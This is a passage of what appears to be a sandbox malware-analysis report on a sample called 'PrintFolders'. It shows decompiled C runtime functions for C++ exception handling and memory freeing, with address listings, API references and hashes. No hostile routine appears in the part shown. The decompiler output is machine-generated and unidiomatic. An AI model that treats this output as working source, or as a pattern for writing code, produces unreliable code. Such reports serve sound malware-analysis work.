                                                          											L102:
                                                          											_t209 = _a4;
                                                          											__eflags =  *_t209 & 0x00000001;
                                                          											if(( *_t209 & 0x00000001) == 0) {
                                                          												L104:
                                                          												__eflags =  *_t209 & 0x00000002;
                                                          												if(( *_t209 & 0x00000002) == 0) {
                                                          													L106:
                                                          													_t321 = 1;
                                                          													__eflags = 1;
                                                          												} else {
                                                          													__eflags =  *_t301 & 0x00000002;
                                                          													if(( *_t301 & 0x00000002) != 0) {
                                                          														goto L106;
                                                          													}
                                                          												}
                                                          											} else {
                                                          												__eflags =  *_t301 & 0x00000001;
                                                          												if(( *_t301 & 0x00000001) != 0) {
                                                          													goto L104;
                                                          												}
                                                          											}
                                                          										} else {
                                                          											__eflags =  *_t301 & 0x00000008;
                                                          											if(( *_t301 & 0x00000008) != 0) {
                                                          												goto L102;
                                                          											}
                                                          										}
                                                          										_t208 = _t321;
                                                          									} else {
                                                          										_t185 = _t276 + 8; // 0x6e
                                                          										_t210 = _t185;
                                                          										while(1) {
                                                          											_t277 =  *_t280;
                                                          											__eflags = _t277 -  *_t210;
                                                          											if(_t277 !=  *_t210) {
                                                          												break;
                                                          											}
                                                          											__eflags = _t277;
                                                          											if(_t277 == 0) {
                                                          												L96:
                                                          												_t211 = _t321;
                                                          											} else {
                                                          												_t278 =  *((intOrPtr*)(_t280 + 1));
                                                          												__eflags = _t278 -  *((intOrPtr*)(_t210 + 1));
                                                          												if(_t278 !=  *((intOrPtr*)(_t210 + 1))) {
                                                          													break;
                                                          												} else {
                                                          													_t280 = _t280 + 2;
                                                          													_t210 = _t210 + 2;
                                                          													__eflags = _t278;
                                                          													if(_t278 != 0) {
                                                          														continue;
                                                          													} else {
                                                          														goto L96;
                                                          													}
                                                          												}
                                                          											}
                                                          											L98:
                                                          											__eflags = _t211;
                                                          											if(_t211 == 0) {
                                                          												goto L100;
                                                          											} else {
                                                          												_t208 = 0;
                                                          											}
                                                          											goto L109;
                                                          										}
                                                          										asm("sbb eax, eax");
                                                          										_t211 = _t210 | 0x00000001;
                                                          										__eflags = _t211;
                                                          										goto L98;
                                                          									}
                                                          								} else {
                                                          									__eflags =  *_t308 & 0x00000010;
                                                          									if(( *_t308 & 0x00000010) != 0) {
                                                          										goto L108;
                                                          									} else {
                                                          										goto L90;
                                                          									}
                                                          								}
                                                          							}
                                                          						}
                                                          						L109:
                                                          						return _t208;
                                                          					}
                                                          				} else {
                                                          					_t274 = _a4;
                                                          					if( *_t274 != 0xe06d7363 || _t274[0x10] != 3 || _t274[0x14] != 0x19930520 && _t274[0x14] != 0x19930521 && _t274[0x14] != 0x19930522) {
                                                          						L22:
                                                          						_t300 = _a12;
                                                          						_v8 = _t300;
                                                          						goto L24;
                                                          					} else {
                                                          						_t319 = 0;
                                                          						if(_t274[0x1c] != 0) {
                                                          							goto L22;
                                                          						} else {
                                                          							_t225 = E100048DC(_t274, _t279, _t300, _t305, 0);
                                                          							if( *((intOrPtr*)(_t225 + 0x10)) == 0) {
                                                          								L60:
                                                          								return _t225;
                                                          							} else {
                                                          								_t274 =  *(E100048DC(_t274, _t279, _t300, _t305, 0) + 0x10);
                                                          								_t263 = E100048DC(_t274, _t279, _t300, _t305, 0);
                                                          								_v28 = 1;
                                                          								_v8 =  *((intOrPtr*)(_t263 + 0x14));
                                                          								if(_t274 == 0 ||  *_t274 == 0xe06d7363 && _t274[0x10] == 3 && (_t274[0x14] == 0x19930520 || _t274[0x14] == 0x19930521 || _t274[0x14] == 0x19930522) && _t274[0x1c] == _t319) {
                                                          									goto L66;
                                                          								} else {
                                                          									if( *((intOrPtr*)(E100048DC(_t274, _t279, _t300, _t305, _t319) + 0x1c)) == _t319) {
                                                          										L23:
                                                          										_t300 = _v8;
                                                          										_t279 = _v12;
                                                          										L24:
                                                          										_v52 = _t305;
                                                          										_v48 = 0;
                                                          										__eflags =  *_t274 - 0xe06d7363;
                                                          										if( *_t274 != 0xe06d7363) {
                                                          											L56:
                                                          											__eflags = _t305[3];
                                                          											if(_t305[3] <= 0) {
                                                          												goto L59;
                                                          											} else {
                                                          												__eflags = _a24;
                                                          												if(_a24 != 0) {
                                                          													goto L66;
                                                          												} else {
                                                          													_push(_a32);
                                                          													_push(_a28);
                                                          													_push(_t279);
                                                          													_push(_t305);
                                                          													_push(_a16);
                                                          													_push(_t300);
                                                          													_push(_a8);
                                                          													_push(_t274);
                                                          													L67();
                                                          													_t335 = _t335 + 0x20;
                                                          													goto L59;
                                                          												}
                                                          											}
                                                          										} else {
                                                          											__eflags = _t274[0x10] - 3;
                                                          											if(_t274[0x10] != 3) {
                                                          												goto L56;
                                                          											} else {
                                                          												__eflags = _t274[0x14] - 0x19930520;
                                                          												if(_t274[0x14] == 0x19930520) {
                                                          													L29:
                                                          													_t319 = _a32;
                                                          													__eflags = _t305[3];
                                                          													if(_t305[3] > 0) {
                                                          														_push(_a28);
                                                          														E10003E79(_t274, _t279, _t305, _t319,  &_v68,  &_v52, _t279, _a16, _t305);
                                                          														_t300 = _v64;
                                                          														_t335 = _t335 + 0x18;
                                                          														_t250 = _v68;
                                                          														_v44 = _t250;
                                                          														_v16 = _t300;
                                                          														__eflags = _t300 - _v56;
                                                          														if(_t300 < _v56) {
                                                          															_t294 = _t300 * 0x14;
                                                          															__eflags = _t294;
                                                          															_v32 = _t294;
                                                          															do {
                                                          																_t295 = 5;
                                                          																_t253 = memcpy( &_v104,  *((intOrPtr*)( *_t250 + 0x10)) + _t294, _t295 << 2);
                                                          																_t335 = _t335 + 0xc;
                                                          																__eflags = _v104 - _t253;
                                                          																if(_v104 <= _t253) {
                                                          																	__eflags = _t253 - _v100;
                                                          																	if(_t253 <= _v100) {
                                                          																		_t298 = 0;
                                                          																		_v20 = 0;
                                                          																		__eflags = _v92;
                                                          																		if(_v92 != 0) {
                                                          																			_t255 =  *(_t274[0x1c] + 0xc);
                                                          																			_t303 =  *_t255;
                                                          																			_t256 =  &(_t255[1]);
                                                          																			__eflags = _t256;
                                                          																			_v36 = _t256;
                                                          																			_t257 = _v88;
                                                          																			_v40 = _t303;
                                                          																			_v24 = _t257;
                                                          																			do {
                                                          																				asm("movsd");
                                                          																				asm("movsd");
                                                          																				asm("movsd");
                                                          																				asm("movsd");
                                                          																				_t318 = _v36;
                                                          																				_t330 = _t303;
                                                          																				__eflags = _t330;
                                                          																				if(_t330 <= 0) {
                                                          																					goto L40;
                                                          																				} else {
                                                          																					while(1) {
                                                          																						_push(_t274[0x1c]);
                                                          																						_t258 =  &_v84;
                                                          																						_push( *_t318);
                                                          																						_push(_t258);
                                                          																						L86();
                                                          																						_t335 = _t335 + 0xc;
                                                          																						__eflags = _t258;
                                                          																						if(_t258 != 0) {
                                                          																							break;
                                                          																						}
                                                          																						_t330 = _t330 - 1;
                                                          																						_t318 = _t318 + 4;
                                                          																						__eflags = _t330;
                                                          																						if(_t330 > 0) {
                                                          																							continue;
                                                          																						} else {
                                                          																							_t298 = _v20;
                                                          																							_t257 = _v24;
                                                          																							_t303 = _v40;
                                                          																							goto L40;
                                                          																						}
                                                          																						goto L43;
                                                          																					}
                                                          																					_push(_a24);
                                                          																					_push(_v28);
                                                          																					E10004BA1(_t303, _t274, _a8, _v8, _a16, _a20,  &_v84,  *_t318,  &_v104, _a28, _a32);
                                                          																					_t335 = _t335 + 0x30;
                                                          																				}
                                                          																				L43:
                                                          																				_t300 = _v16;
                                                          																				goto L44;
                                                          																				L40:
                                                          																				_t298 = _t298 + 1;
                                                          																				_t257 = _t257 + 0x10;
                                                          																				_v20 = _t298;
                                                          																				_v24 = _t257;
                                                          																				__eflags = _t298 - _v92;
                                                          																			} while (_t298 != _v92);
                                                          																			goto L43;
                                                          																		}
                                                          																	}
                                                          																}
                                                          																L44:
                                                          																_t300 = _t300 + 1;
                                                          																_t250 = _v44;
                                                          																_t294 = _v32 + 0x14;
                                                          																_v16 = _t300;
                                                          																_v32 = _t294;
                                                          																__eflags = _t300 - _v56;
                                                          															} while (_t300 < _v56);
                                                          															_t305 = _a20;
                                                          															_t319 = _a32;
                                                          														}
                                                          													}
                                                          													__eflags = _a24;
                                                          													if(__eflags != 0) {
                                                          														_push(1);
                                                          														E1000422F(_t274, _t305, _t319, __eflags);
                                                          														_t279 = _t274;
                                                          													}
                                                          													__eflags = ( *_t305 & 0x1fffffff) - 0x19930521;
                                                          													if(( *_t305 & 0x1fffffff) < 0x19930521) {
                                                          														L59:
                                                          														_t225 = E100048DC(_t274, _t279, _t300, _t305, _t319);
                                                          														__eflags =  *(_t225 + 0x1c);
                                                          														if( *(_t225 + 0x1c) != 0) {
                                                          															goto L66;
                                                          														} else {
                                                          															goto L60;
                                                          														}
                                                          													} else {
                                                          														__eflags = _t305[7];
                                                          														if(_t305[7] != 0) {
                                                          															L52:
                                                          															_t229 = _t305[8] >> 2;
                                                          															__eflags = _t229 & 0x00000001;
                                                          															if((_t229 & 0x00000001) == 0) {
                                                          																_push(_t305[7]);
                                                          																_t230 = E10005630(_t274, _t305, _t319, _t274);
                                                          																_pop(_t279);
                                                          																__eflags = _t230;
                                                          																if(_t230 == 0) {
                                                          																	goto L63;
                                                          																} else {
                                                          																	goto L59;
                                                          																}
                                                          															} else {
                                                          																 *(E100048DC(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
                                                          																_t238 = E100048DC(_t274, _t279, _t300, _t305, _t319);
                                                          																_t290 = _v8;
                                                          																 *((intOrPtr*)(_t238 + 0x14)) = _v8;
                                                          																goto L61;
                                                          															}
                                                          														} else {
                                                          															_t245 = _t305[8] >> 2;
                                                          															__eflags = _t245 & 0x00000001;
                                                          															if((_t245 & 0x00000001) == 0) {
                                                          																goto L59;
                                                          															} else {
                                                          																__eflags = _a28;
                                                          																if(_a28 != 0) {
                                                          																	goto L59;
                                                          																} else {
                                                          																	goto L52;
                                                          																}
                                                          															}
                                                          														}
                                                          													}
                                                          												} else {
                                                          													__eflags = _t274[0x14] - 0x19930521;
                                                          													if(_t274[0x14] == 0x19930521) {
                                                          														goto L29;
                                                          													} else {
                                                          														__eflags = _t274[0x14] - 0x19930522;
                                                          														if(_t274[0x14] != 0x19930522) {
                                                          															goto L56;
                                                          														} else {
                                                          															goto L29;
                                                          														}
                                                          													}
                                                          												}
                                                          											}
                                                          										}
                                                          									} else {
                                                          										_v16 =  *((intOrPtr*)(E100048DC(_t274, _t279, _t300, _t305, _t319) + 0x1c));
                                                          										_t268 = E100048DC(_t274, _t279, _t300, _t305, _t319);
                                                          										_push(_v16);
                                                          										 *(_t268 + 0x1c) = _t319;
                                                          										_t269 = E10005630(_t274, _t305, _t319, _t274);
                                                          										_pop(_t290);
                                                          										if(_t269 != 0) {
                                                          											goto L23;
                                                          										} else {
                                                          											_t305 = _v16;
                                                          											_t356 =  *_t305 - _t319;
                                                          											if( *_t305 <= _t319) {
                                                          												L61:
                                                          												E100076A8(_t274, _t290, _t300, _t305, _t319, __eflags);
                                                          											} else {
                                                          												while(1) {
                                                          													_t290 =  *((intOrPtr*)(_t319 + _t305[1] + 4));
                                                          													if(E100052C4( *((intOrPtr*)(_t319 + _t305[1] + 4)), _t356, 0x100178d0) != 0) {
                                                          														goto L62;
                                                          													}
                                                          													_t319 = _t319 + 0x10;
                                                          													_t273 = _v20 + 1;
                                                          													_v20 = _t273;
                                                          													_t356 = _t273 -  *_t305;
                                                          													if(_t273 >=  *_t305) {
                                                          														goto L61;
                                                          													} else {
                                                          														continue;
                                                          													}
                                                          													goto L62;
                                                          												}
                                                          											}
                                                          											L62:
                                                          											_push(1);
                                                          											_push(_t274);
                                                          											E1000422F(_t274, _t305, _t319, __eflags);
                                                          											_t279 =  &_v64;
                                                          											E100052AC( &_v64);
                                                          											E10004458( &_v64, 0x1001589c);
                                                          											L63:
                                                          											 *(E100048DC(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
                                                          											_t232 = E100048DC(_t274, _t279, _t300, _t305, _t319);
                                                          											_t279 = _v8;
                                                          											 *(_t232 + 0x14) = _v8;
                                                          											__eflags = _t319;
                                                          											if(_t319 == 0) {
                                                          												_t319 = _a8;
                                                          											}
                                                          											E1000406C(_t279, _t319, _t274);
                                                          											E10005530(_a8, _a16, _t305);
                                                          											_t235 = E100056ED(_t305);
                                                          											_t335 = _t335 + 0x10;
                                                          											_push(_t235);
                                                          											E100054A7(_t274, _t279, _t300, _t305, _t319, __eflags);
                                                          											goto L66;
                                                          										}
                                                          									}
                                                          								}
                                                          							}
                                                          						}
                                                          					}
                                                          				}
                                                          			}























































































                                                          0x10004c21
                                                          0x10004c28
                                                          0x10004c2a
                                                          0x10004c33
                                                          0x10004c39
                                                          0x10004c41
                                                          0x10004c43
                                                          0x10004c46
                                                          0x10004c4c
                                                          0x10004fc5
                                                          0x10004fc5
                                                          0x10004fca
                                                          0x10004fcc
                                                          0x10004fce
                                                          0x10004fd1
                                                          0x10004fd2
                                                          0x10004fd5
                                                          0x10004fdb
                                                          0x100050fa
                                                          0x10004fe1
                                                          0x10004fe1
                                                          0x10004fe2
                                                          0x10004fe3
                                                          0x10004fea
                                                          0x10004fed
                                                          0x10004ff0
                                                          0x10004ff6
                                                          0x10004ff8
                                                          0x10004ffd
                                                          0x10005000
                                                          0x10005002
                                                          0x10005008
                                                          0x1000500a
                                                          0x10005010
                                                          0x10005025
                                                          0x1000502a
                                                          0x1000502d
                                                          0x1000502f
                                                          0x100050f6
                                                          0x00000000
                                                          0x100050f7
                                                          0x1000502f
                                                          0x10005010
                                                          0x10005008
                                                          0x10005000
                                                          0x10005035
                                                          0x10005038
                                                          0x1000503b
                                                          0x1000503e
                                                          0x10005041
                                                          0x10005047
                                                          0x10005059
                                                          0x1000505e
                                                          0x10005061
                                                          0x10005064
                                                          0x10005067
                                                          0x1000506a
                                                          0x1000506d
                                                          0x10005070
                                                          0x00000000
                                                          0x00000000
                                                          0x10005076
                                                          0x10005076
                                                          0x10005079
                                                          0x1000507c
                                                          0x1000508b
                                                          0x1000508c
                                                          0x1000508c
                                                          0x1000508e
                                                          0x10005091
                                                          0x00000000
                                                          0x00000000
                                                          0x10005093
                                                          0x10005096
                                                          0x00000000
                                                          0x00000000
                                                          0x100050a4
                                                          0x100050a6
                                                          0x100050a9
                                                          0x100050ab
                                                          0x100050b3
                                                          0x100050b3
                                                          0x100050b6
                                                          0x100050b8
                                                          0x100050ba
                                                          0x100050d6
                                                          0x100050db
                                                          0x100050de
                                                          0x100050de
                                                          0x00000000
                                                          0x100050b6
                                                          0x100050ad
                                                          0x100050b1
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x100050e1
                                                          0x100050e4
                                                          0x100050e5
                                                          0x100050e8
                                                          0x100050eb
                                                          0x100050ee
                                                          0x100050f1
                                                          0x100050f1
                                                          0x00000000
                                                          0x1000507c
                                                          0x100050fb
                                                          0x10005100
                                                          0x10005101
                                                          0x10005104
                                                          0x10005107
                                                          0x10005108
                                                          0x10005109
                                                          0x1000510a
                                                          0x1000510d
                                                          0x1000510f
                                                          0x10005187
                                                          0x10005189
                                                          0x10005189
                                                          0x10005111
                                                          0x10005111
                                                          0x10005114
                                                          0x10005117
                                                          0x00000000
                                                          0x10005119
                                                          0x10005119
                                                          0x1000511c
                                                          0x1000511f
                                                          0x10005126
                                                          0x10005126
                                                          0x10005129
                                                          0x1000512b
                                                          0x1000512d
                                                          0x1000515f
                                                          0x1000515f
                                                          0x10005162
                                                          0x10005169
                                                          0x10005169
                                                          0x1000516c
                                                          0x1000516f
                                                          0x10005176
                                                          0x10005176
                                                          0x10005179
                                                          0x10005180
                                                          0x10005182
                                                          0x10005182
                                                          0x1000517b
                                                          0x1000517b
                                                          0x1000517e
                                                          0x00000000
                                                          0x00000000
                                                          0x1000517e
                                                          0x10005171
                                                          0x10005171
                                                          0x10005174
                                                          0x00000000
                                                          0x00000000
                                                          0x10005174
                                                          0x10005164
                                                          0x10005164
                                                          0x10005167
                                                          0x00000000
                                                          0x00000000
                                                          0x10005167
                                                          0x10005183
                                                          0x1000512f
                                                          0x1000512f
                                                          0x1000512f
                                                          0x10005132
                                                          0x10005132
                                                          0x10005134
                                                          0x10005136
                                                          0x00000000
                                                          0x00000000
                                                          0x10005138
                                                          0x1000513a
                                                          0x1000514e
                                                          0x1000514e
                                                          0x1000513c
                                                          0x1000513c
                                                          0x1000513f
                                                          0x10005142
                                                          0x00000000
                                                          0x10005144
                                                          0x10005144
                                                          0x10005147
                                                          0x1000514a
                                                          0x1000514c
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x1000514c
                                                          0x10005142
                                                          0x10005157
                                                          0x10005157
                                                          0x10005159
                                                          0x00000000
                                                          0x1000515b
                                                          0x1000515b
                                                          0x1000515b
                                                          0x00000000
                                                          0x10005159
                                                          0x10005152
                                                          0x10005154
                                                          0x10005154
                                                          0x00000000
                                                          0x10005154
                                                          0x10005121
                                                          0x10005121
                                                          0x10005124
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x10005124
                                                          0x1000511f
                                                          0x10005117
                                                          0x1000518a
                                                          0x1000518e
                                                          0x1000518e
                                                          0x10004c5b
                                                          0x10004c5b
                                                          0x10004c64
                                                          0x10004d61
                                                          0x10004d61
                                                          0x10004d64
                                                          0x00000000
                                                          0x10004c93
                                                          0x10004c93
                                                          0x10004c98
                                                          0x00000000
                                                          0x10004c9e
                                                          0x10004c9e
                                                          0x10004ca6
                                                          0x10004f5f
                                                          0x10004f63
                                                          0x10004cac
                                                          0x10004cb1
                                                          0x10004cb4
                                                          0x10004cb9
                                                          0x10004cc0
                                                          0x10004cc5
                                                          0x00000000
                                                          0x10004cfd
                                                          0x10004d05
                                                          0x10004d69
                                                          0x10004d69
                                                          0x10004d6c
                                                          0x10004d6f
                                                          0x10004d71
                                                          0x10004d74
                                                          0x10004d77
                                                          0x10004d7d
                                                          0x10004f2e
                                                          0x10004f2e
                                                          0x10004f31
                                                          0x00000000
                                                          0x10004f33
                                                          0x10004f33
                                                          0x10004f36
                                                          0x00000000
                                                          0x10004f3c
                                                          0x10004f3c
                                                          0x10004f3f
                                                          0x10004f42
                                                          0x10004f43
                                                          0x10004f44
                                                          0x10004f47
                                                          0x10004f48
                                                          0x10004f4b
                                                          0x10004f4c
                                                          0x10004f51
                                                          0x00000000
                                                          0x10004f51
                                                          0x10004f36
                                                          0x10004d83
                                                          0x10004d83
                                                          0x10004d87
                                                          0x00000000
                                                          0x10004d8d
                                                          0x10004d8d
                                                          0x10004d94
                                                          0x10004dac
                                                          0x10004dac
                                                          0x10004daf
                                                          0x10004db2
                                                          0x10004db8
                                                          0x10004dc8
                                                          0x10004dcd
                                                          0x10004dd0
                                                          0x10004dd3
                                                          0x10004dd6
                                                          0x10004dd9
                                                          0x10004ddc
                                                          0x10004ddf
                                                          0x10004de5
                                                          0x10004de5
                                                          0x10004de8
                                                          0x10004deb
                                                          0x10004dfa
                                                          0x10004dfb
                                                          0x10004dfb
                                                          0x10004dfd
                                                          0x10004e00
                                                          0x10004e06
                                                          0x10004e09
                                                          0x10004e0f
                                                          0x10004e11
                                                          0x10004e14
                                                          0x10004e17
                                                          0x10004e20
                                                          0x10004e23
                                                          0x10004e25
                                                          0x10004e25
                                                          0x10004e28
                                                          0x10004e2b
                                                          0x10004e2e
                                                          0x10004e31
                                                          0x10004e34
                                                          0x10004e39
                                                          0x10004e3a
                                                          0x10004e3b
                                                          0x10004e3c
                                                          0x10004e3d
                                                          0x10004e40
                                                          0x10004e42
                                                          0x10004e44
                                                          0x00000000
                                                          0x10004e46
                                                          0x10004e46
                                                          0x10004e46
                                                          0x10004e49
                                                          0x10004e4c
                                                          0x10004e4e
                                                          0x10004e4f
                                                          0x10004e54
                                                          0x10004e57
                                                          0x10004e59
                                                          0x00000000
                                                          0x00000000
                                                          0x10004e5b
                                                          0x10004e5c
                                                          0x10004e5f
                                                          0x10004e61
                                                          0x00000000
                                                          0x10004e63
                                                          0x10004e63
                                                          0x10004e66
                                                          0x10004e69
                                                          0x00000000
                                                          0x10004e69
                                                          0x00000000
                                                          0x10004e61
                                                          0x10004e7d
                                                          0x10004e83
                                                          0x10004ea0
                                                          0x10004ea5
                                                          0x10004ea5
                                                          0x10004ea8
                                                          0x10004ea8
                                                          0x00000000
                                                          0x10004e6c
                                                          0x10004e6c
                                                          0x10004e6d
                                                          0x10004e70
                                                          0x10004e73
                                                          0x10004e76
                                                          0x10004e76
                                                          0x00000000
                                                          0x10004e7b
                                                          0x10004e17
                                                          0x10004e09
                                                          0x10004eab
                                                          0x10004eae
                                                          0x10004eaf
                                                          0x10004eb2
                                                          0x10004eb5
                                                          0x10004eb8
                                                          0x10004ebb
                                                          0x10004ebb
                                                          0x10004ec4
                                                          0x10004ec7
                                                          0x10004ec7
                                                          0x10004ddf
                                                          0x10004eca
                                                          0x10004ece
                                                          0x10004ed0
                                                          0x10004ed3
                                                          0x10004ed9
                                                          0x10004ed9
                                                          0x10004ee1
                                                          0x10004ee6
                                                          0x10004f54
                                                          0x10004f54
                                                          0x10004f59
                                                          0x10004f5d
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x10004ee8
                                                          0x10004ee8
                                                          0x10004eec
                                                          0x10004efe
                                                          0x10004f01
                                                          0x10004f04
                                                          0x10004f06
                                                          0x10004f1d
                                                          0x10004f21
                                                          0x10004f27
                                                          0x10004f28
                                                          0x10004f2a
                                                          0x00000000
                                                          0x10004f2c
                                                          0x00000000
                                                          0x10004f2c
                                                          0x10004f08
                                                          0x10004f0d
                                                          0x10004f10
                                                          0x10004f15
                                                          0x10004f18
                                                          0x00000000
                                                          0x10004f18
                                                          0x10004eee
                                                          0x10004ef1
                                                          0x10004ef4
                                                          0x10004ef6
                                                          0x00000000
                                                          0x10004ef8
                                                          0x10004ef8
                                                          0x10004efc
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x10004efc
                                                          0x10004ef6
                                                          0x10004eec
                                                          0x10004d96
                                                          0x10004d96
                                                          0x10004d9d
                                                          0x00000000
                                                          0x10004d9f
                                                          0x10004d9f
                                                          0x10004da6
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x10004da6
                                                          0x10004d9d
                                                          0x10004d94
                                                          0x10004d87
                                                          0x10004d07
                                                          0x10004d0f
                                                          0x10004d12
                                                          0x10004d17
                                                          0x10004d1b
                                                          0x10004d1e
                                                          0x10004d24
                                                          0x10004d27
                                                          0x00000000
                                                          0x10004d29
                                                          0x10004d29
                                                          0x10004d2c
                                                          0x10004d2e
                                                          0x10004f64
                                                          0x10004f64
                                                          0x00000000
                                                          0x10004d34
                                                          0x10004d3c
                                                          0x10004d47
                                                          0x00000000
                                                          0x00000000
                                                          0x10004d50
                                                          0x10004d53
                                                          0x10004d54
                                                          0x10004d57
                                                          0x10004d59
                                                          0x00000000
                                                          0x10004d5f
                                                          0x00000000
                                                          0x10004d5f
                                                          0x00000000
                                                          0x10004d59
                                                          0x10004d34
                                                          0x10004f69
                                                          0x10004f69
                                                          0x10004f6b
                                                          0x10004f6c
                                                          0x10004f73
                                                          0x10004f76
                                                          0x10004f84
                                                          0x10004f89
                                                          0x10004f8e
                                                          0x10004f91
                                                          0x10004f96
                                                          0x10004f99
                                                          0x10004f9c
                                                          0x10004f9e
                                                          0x10004fa0
                                                          0x10004fa0
                                                          0x10004fa5
                                                          0x10004fb1
                                                          0x10004fb7
                                                          0x10004fbc
                                                          0x10004fbf
                                                          0x10004fc0
                                                          0x00000000
                                                          0x10004fc0
                                                          0x10004d27
                                                          0x10004d05
                                                          0x10004cc5
                                                          0x10004ca6
                                                          0x10004c98
                                                          0x10004c64

                                                          APIs
                                                          • IsInExceptionSpec.LIBVCRUNTIME ref: 10004D1E
                                                          • type_info::operator==.LIBVCRUNTIME ref: 10004D40
                                                          • ___TypeMatch.LIBVCRUNTIME ref: 10004E4F
                                                          • IsInExceptionSpec.LIBVCRUNTIME ref: 10004F21
                                                          • _UnwindNestedFrames.LIBCMT ref: 10004FA5
                                                          • CallUnexpected.LIBVCRUNTIME ref: 10004FC0
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
                                                          • String ID: csm$csm$csm
                                                          • API String ID: 2123188842-393685449
                                                          • Opcode ID: c280cf51245476ab5a6ca9c2466aed320dec0198e46a52e5e0ca7a664b3de09a
                                                          • Instruction ID: 240bac43b3023af98cd0cad224976453cf76ecf695f899d999e54e670dd59ab9
                                                          • Opcode Fuzzy Hash: c280cf51245476ab5a6ca9c2466aed320dec0198e46a52e5e0ca7a664b3de09a
                                                          • Instruction Fuzzy Hash: 98B1A0B5C0024AEFEF14CF94C88199E77B5FF04391F12416AE8156B21ADB31EA51CF99
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 77%
                                                          			E0041CA4B(void* __ebx, void* __edi, void* __esi, char _a4) {
                                                          				void* _v5;
                                                          				char _v12;
                                                          				char _v16;
                                                          				char _v20;
                                                          				void* __ebp;
                                                          				char _t55;
                                                          				char _t61;
                                                          				void* _t67;
                                                          				intOrPtr _t68;
                                                          				void* _t72;
                                                          				void* _t73;
                                                          
                                                          				_t73 = __esi;
                                                          				_t72 = __edi;
                                                          				_t67 = __ebx;
                                                          				_t36 = _a4;
                                                          				_t68 =  *_a4;
                                                          				_t77 = _t68 - 0x431400;
                                                          				if(_t68 != 0x431400) {
                                                          					E0041E2B8(_t68);
                                                          					_t36 = _a4;
                                                          				}
                                                          				E0041E2B8( *((intOrPtr*)(_t36 + 0x3c)));
                                                          				E0041E2B8( *((intOrPtr*)(_a4 + 0x30)));
                                                          				E0041E2B8( *((intOrPtr*)(_a4 + 0x34)));
                                                          				E0041E2B8( *((intOrPtr*)(_a4 + 0x38)));
                                                          				E0041E2B8( *((intOrPtr*)(_a4 + 0x28)));
                                                          				E0041E2B8( *((intOrPtr*)(_a4 + 0x2c)));
                                                          				E0041E2B8( *((intOrPtr*)(_a4 + 0x40)));
                                                          				E0041E2B8( *((intOrPtr*)(_a4 + 0x44)));
                                                          				E0041E2B8( *((intOrPtr*)(_a4 + 0x360)));
                                                          				_v16 =  &_a4;
                                                          				_t55 = 5;
                                                          				_v12 = _t55;
                                                          				_v20 = _t55;
                                                          				_push( &_v12);
                                                          				_push( &_v16);
                                                          				_push( &_v20);
                                                          				E0041C877(_t67, _t72, _t73, _t77);
                                                          				_v16 =  &_a4;
                                                          				_t61 = 4;
                                                          				_v20 = _t61;
                                                          				_v12 = _t61;
                                                          				_push( &_v20);
                                                          				_push( &_v16);
                                                          				_push( &_v12);
                                                          				return E0041C8E2(_t67, _t72, _t73, _t77);
                                                          			}














                                                          0x0041ca4b
                                                          0x0041ca4b
                                                          0x0041ca4b
                                                          0x0041ca50
                                                          0x0041ca56
                                                          0x0041ca58
                                                          0x0041ca5e
                                                          0x0041ca61
                                                          0x0041ca66
                                                          0x0041ca69
                                                          0x0041ca6d
                                                          0x0041ca78
                                                          0x0041ca83
                                                          0x0041ca8e
                                                          0x0041ca99
                                                          0x0041caa4
                                                          0x0041caaf
                                                          0x0041caba
                                                          0x0041cac8
                                                          0x0041cad3
                                                          0x0041cadb
                                                          0x0041cadc
                                                          0x0041cadf
                                                          0x0041cae5
                                                          0x0041cae9
                                                          0x0041caed
                                                          0x0041caee
                                                          0x0041caf8
                                                          0x0041cafe
                                                          0x0041caff
                                                          0x0041cb02
                                                          0x0041cb08
                                                          0x0041cb0c
                                                          0x0041cb10
                                                          0x0041cb17

                                                          APIs
                                                          • _free.LIBCMT ref: 0041CA61
                                                            • Part of subcall function 0041E2B8: HeapFree.KERNEL32(00000000,00000000,?,00425D87,?,00000000,?,?,?,0042602A,?,00000007,?,?,0042651D,?), ref: 0041E2CE
                                                            • Part of subcall function 0041E2B8: GetLastError.KERNEL32(?,?,00425D87,?,00000000,?,?,?,0042602A,?,00000007,?,?,0042651D,?,?), ref: 0041E2E0
                                                          • _free.LIBCMT ref: 0041CA6D
                                                          • _free.LIBCMT ref: 0041CA78
                                                          • _free.LIBCMT ref: 0041CA83
                                                          • _free.LIBCMT ref: 0041CA8E
                                                          • _free.LIBCMT ref: 0041CA99
                                                          • _free.LIBCMT ref: 0041CAA4
                                                          • _free.LIBCMT ref: 0041CAAF
                                                          • _free.LIBCMT ref: 0041CABA
                                                          • _free.LIBCMT ref: 0041CAC8
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: _free$ErrorFreeHeapLast
                                                          • String ID:
                                                          • API String ID: 776569668-0
